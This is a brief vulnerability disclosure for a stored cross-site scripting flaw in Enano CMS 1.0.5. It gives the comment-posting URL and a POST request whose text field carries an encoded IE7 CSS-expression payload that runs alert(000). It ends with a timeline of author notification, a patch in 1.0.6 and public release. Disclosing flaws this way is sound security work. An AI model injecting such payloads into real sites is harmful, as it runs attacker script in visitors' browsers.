Enano 1.0.5 persistent XSS (IE7, numeric) http://enanocms.org http://site/enano-1.0.5/index.php?title=Main_Page&do=comments&sub=postcomment POST: name=XSS&subj=TEST&text=%3C/xss/*-*/style=xss:e/**/xpression(alert(000))%3E Authors notified: Jan 16 Patch 1.0.6: Jan 17 Public: Jan 23 http://nukeit.org